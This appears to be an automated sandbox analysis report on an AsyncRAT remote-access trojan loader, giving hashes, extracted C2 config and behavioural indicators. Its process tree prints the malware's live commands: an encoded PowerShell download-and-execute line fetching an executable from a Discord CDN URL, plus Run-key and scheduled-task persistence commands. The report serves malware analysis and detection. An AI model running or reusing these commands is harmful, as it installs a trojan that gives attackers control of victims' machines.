Analysis
-
max time kernel
147s -
max time network
155s -
platform
windows10-2004_x64 -
resource
win10v2004-20220901-en -
resource tags
arch:x64arch:x86image:win10v2004-20220901-enlocale:en-usos:windows10-2004-x64system -
submitted
13-11-2022 17:21
Static task
static1
Behavioral task
behavioral1
Sample
871f23d521f271b63ea5d3041e097cc5.exe
Resource
win7-20220812-en
Behavioral task
behavioral2
Sample
871f23d521f271b63ea5d3041e097cc5.exe
Resource
win10v2004-20220901-en
General
-
Target
871f23d521f271b63ea5d3041e097cc5.exe
-
Size
5KB
-
MD5
871f23d521f271b63ea5d3041e097cc5
-
SHA1
33c118c290f67790a188d523c8afc5c3159de978
-
SHA256
697e12598f923f1b5dcf2d81dc8db9cd944977cfcb9687575307118181f7c43e
-
SHA512
a39a6521e1e6db0c8facce2d773a15c6520bfe12f694273d30b187cb534a89c65e776341431ef15ab7fb7a63cbade578caeb2e718821aba82cc4c6cc4e0de271
-
SSDEEP
96:jf79xkCFvY5c/bUquGm5tlNtUqrGueGCd3oj8Erl:n9xPFg5AUquxXNtUqrlCdG
Malware Config
Extracted
asyncrat
0.5.7B
System Guard Runtime
85.105.88.221:2531
System Guard Runtime
-
delay
3
-
install
false
-
install_file
System Guard Runtime
-
install_folder
%AppData%
Signatures
-
Async RAT payload 1 IoCs
Processes:
resource yara_rule behavioral2/memory/4168-149-0x0000000000400000-0x0000000000412000-memory.dmp asyncrat -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 29 1804 powershell.exe -
Downloads MZ/PE file
-
Executes dropped EXE 1 IoCs
Processes:
234213133w.exepid process 3536 234213133w.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
871f23d521f271b63ea5d3041e097cc5.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation 871f23d521f271b63ea5d3041e097cc5.exe -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemGuardRuntime = "C:\\Users\\Admin\\AppData\\Roaming\\SystemGuardRuntime\\SystemGuardRuntime.exe" powershell.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
234213133w.exedescription pid process target process PID 3536 set thread context of 4168 3536 234213133w.exe RegAsm.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepowershell.exepid process 1804 powershell.exe 1804 powershell.exe 1152 powershell.exe 1152 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 1804 powershell.exe Token: SeDebugPrivilege 1152 powershell.exe -
Suspicious use of WriteProcessMemory 22 IoCs
Processes:
871f23d521f271b63ea5d3041e097cc5.exepowershell.exe234213133w.execmd.exedescription pid process target process PID 1952 wrote to memory of 1804 1952 871f23d521f271b63ea5d3041e097cc5.exe powershell.exe PID 1952 wrote to memory of 1804 1952 871f23d521f271b63ea5d3041e097cc5.exe powershell.exe PID 1804 wrote to memory of 3536 1804 powershell.exe 234213133w.exe PID 1804 wrote to memory of 3536 1804 powershell.exe 234213133w.exe PID 1804 wrote to memory of 3536 1804 powershell.exe 234213133w.exe PID 3536 wrote to memory of 1152 3536 234213133w.exe powershell.exe PID 3536 wrote to memory of 1152 3536 234213133w.exe powershell.exe PID 3536 wrote to memory of 1152 3536 234213133w.exe powershell.exe PID 3536 wrote to memory of 3104 3536 234213133w.exe cmd.exe PID 3536 wrote to memory of 3104 3536 234213133w.exe cmd.exe PID 3536 wrote to memory of 3104 3536 234213133w.exe cmd.exe PID 3104 wrote to memory of 4176 3104 cmd.exe schtasks.exe PID 3104 wrote to memory of 4176 3104 cmd.exe schtasks.exe PID 3104 wrote to memory of 4176 3104 cmd.exe schtasks.exe PID 3536 wrote to memory of 4168 3536 234213133w.exe RegAsm.exe PID 3536 wrote to memory of 4168 3536 234213133w.exe RegAsm.exe PID 3536 wrote to memory of 4168 3536 234213133w.exe RegAsm.exe PID 3536 wrote to memory of 4168 3536 234213133w.exe RegAsm.exe PID 3536 wrote to memory of 4168 3536 234213133w.exe RegAsm.exe PID 3536 wrote to memory of 4168 3536 234213133w.exe RegAsm.exe PID 3536 wrote to memory of 4168 3536 234213133w.exe RegAsm.exe PID 3536 wrote to memory of 4168 3536 234213133w.exe RegAsm.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\871f23d521f271b63ea5d3041e097cc5.exe"C:\Users\Admin\AppData\Local\Temp\871f23d521f271b63ea5d3041e097cc5.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGQAZABsACMAPgBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAzADAAOwAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABGAGkAbABlACgAJwBoAHQAdABwAHMAOgAvAC8AYwBkAG4ALgBkAGkAcwBjAG8AcgBkAGEAcABwAC4AYwBvAG0ALwBhAHQAdABhAGMAaABtAGUAbgB0AHMALwAxADAANAAwADkAMwAxADgAMgAyADUANAAyADAAMAAwADEANAA5AC8AMQAwADQAMAA5ADMAOAA3ADgANQAxADgANwAzADEAMQA2ADIANgAvAEMAUgAuAGUAeABlACcALAAgADwAIwB3AGMAawAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAG0AYwByACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAHoAZwBjACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnADIAMwA0ADIAMQAzADEAMwAzAHcALgBlAHgAZQAnACkAKQA8ACMAawB6AHcAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAdQBtAGYAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGkAbQBlACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnADIAMwA0ADIAMQAzADEAMwAzAHcALgBlAHgAZQAnACkAPAAjAG4AaABqACMAPgA="2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\234213133w.exe"C:\Users\Admin\AppData\Roaming\234213133w.exe"3⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Remove -ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'SystemGuardRuntime';New-ItemProperty -Path 'HKCU:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run' -Name 'SystemGuardRuntime' -Value '"C:\Users\Admin\AppData\Roaming\SystemGuardRuntime\SystemGuardRuntime.exe"' -PropertyType 'String'4⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exe"cmd" /C schtasks /create /tn \SystemGuardRuntime /tr "C:\Users\Admin\AppData\Roaming\SystemGuardRuntime\SystemGuardRuntime.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f4⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn \SystemGuardRuntime /tr "C:\Users\Admin\AppData\Roaming\SystemGuardRuntime\SystemGuardRuntime.exe" /st 00:00 /du 9999:59 /sc once /ri 60 /rl HIGHEST /f5⤵
- Creates scheduled task(s)
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe#cmd4⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractiveFilesize
1KB
MD5973113eca0079b6922bad2c72ef41b3a
SHA1084628fe890d81a4bdc09315a420e5b53c263e55
SHA25689ca20f6c841351d9dacb24284ab218b3be3c752607fb0acf259f34ef7ff4ed8
SHA512bc3b48fb478eea3041020085d55116cfe2c385c876cd1e2dab1b426afa5651b235e6c86404882f905c4319e88d302577ae45805bbd1d7487445a222881ade8d9
-
C:\Users\Admin\AppData\Roaming\234213133w.exeFilesize
87KB
MD53c6ccbfe897915f0fe6bc34d193bf4a0
SHA16fe3161ee66e317889066a302474e511220939e7
SHA25652bf11364e8430f4b271ebb29e2a55451543338be5b2a34e731ede58eef04241
SHA512e0bf1fc11deacb24b5d5de4bcfc522057d1ca1b4866325356b2c9a1f009c6562eee0c0e602478b3639de4beff14997d59a3b428281d9111278544fc5e3199536
-
C:\Users\Admin\AppData\Roaming\234213133w.exeFilesize
87KB
MD53c6ccbfe897915f0fe6bc34d193bf4a0
SHA16fe3161ee66e317889066a302474e511220939e7
SHA25652bf11364e8430f4b271ebb29e2a55451543338be5b2a34e731ede58eef04241
SHA512e0bf1fc11deacb24b5d5de4bcfc522057d1ca1b4866325356b2c9a1f009c6562eee0c0e602478b3639de4beff14997d59a3b428281d9111278544fc5e3199536
-
memory/1152-156-0x0000000006150000-0x0000000006182000-memory.dmpFilesize
200KB
-
memory/1152-157-0x0000000070B70000-0x0000000070BBC000-memory.dmpFilesize
304KB
-
memory/1152-165-0x00000000071C0000-0x00000000071C8000-memory.dmpFilesize
32KB
-
memory/1152-150-0x0000000004D40000-0x0000000005368000-memory.dmpFilesize
6.2MB
-
memory/1152-163-0x00000000070D0000-0x00000000070DE000-memory.dmpFilesize
56KB
-
memory/1152-162-0x0000000007110000-0x00000000071A6000-memory.dmpFilesize
600KB
-
memory/1152-151-0x0000000004B50000-0x0000000004B72000-memory.dmpFilesize
136KB
-
memory/1152-161-0x0000000006F00000-0x0000000006F0A000-memory.dmpFilesize
40KB
-
memory/1152-160-0x0000000006E90000-0x0000000006EAA000-memory.dmpFilesize
104KB
-
memory/1152-144-0x0000000000000000-mapping.dmp
-
memory/1152-159-0x00000000074E0000-0x0000000007B5A000-memory.dmpFilesize
6.5MB
-
memory/1152-146-0x00000000021D0000-0x0000000002206000-memory.dmpFilesize
216KB
-
memory/1152-158-0x0000000006120000-0x000000000613E000-memory.dmpFilesize
120KB
-
memory/1152-155-0x0000000005B90000-0x0000000005BAE000-memory.dmpFilesize
120KB
-
memory/1152-166-0x0000000007220000-0x0000000007242000-memory.dmpFilesize
136KB
-
memory/1152-164-0x00000000071E0000-0x00000000071FA000-memory.dmpFilesize
104KB
-
memory/1152-153-0x0000000005490000-0x00000000054F6000-memory.dmpFilesize
408KB
-
memory/1152-152-0x0000000005420000-0x0000000005486000-memory.dmpFilesize
408KB
-
memory/1804-141-0x00007FF98FDF0000-0x00007FF9908B1000-memory.dmpFilesize
10.8MB
-
memory/1804-133-0x0000000000000000-mapping.dmp
-
memory/1804-137-0x00007FF98FDF0000-0x00007FF9908B1000-memory.dmpFilesize
10.8MB
-
memory/1804-135-0x000001712DF80000-0x000001712DFA2000-memory.dmpFilesize
136KB
-
memory/1804-136-0x00007FF98FDF0000-0x00007FF9908B1000-memory.dmpFilesize
10.8MB
-
memory/1952-134-0x00007FF98FDF0000-0x00007FF9908B1000-memory.dmpFilesize
10.8MB
-
memory/1952-132-0x0000000000640000-0x0000000000648000-memory.dmpFilesize
32KB
-
memory/3104-145-0x0000000000000000-mapping.dmp
-
memory/3536-143-0x00000000050E0000-0x0000000005684000-memory.dmpFilesize
5.6MB
-
memory/3536-142-0x0000000000250000-0x000000000026C000-memory.dmpFilesize
112KB
-
memory/3536-138-0x0000000000000000-mapping.dmp
-
memory/4168-148-0x0000000000000000-mapping.dmp
-
memory/4168-149-0x0000000000400000-0x0000000000412000-memory.dmpFilesize
72KB
-
memory/4176-147-0x0000000000000000-mapping.dmp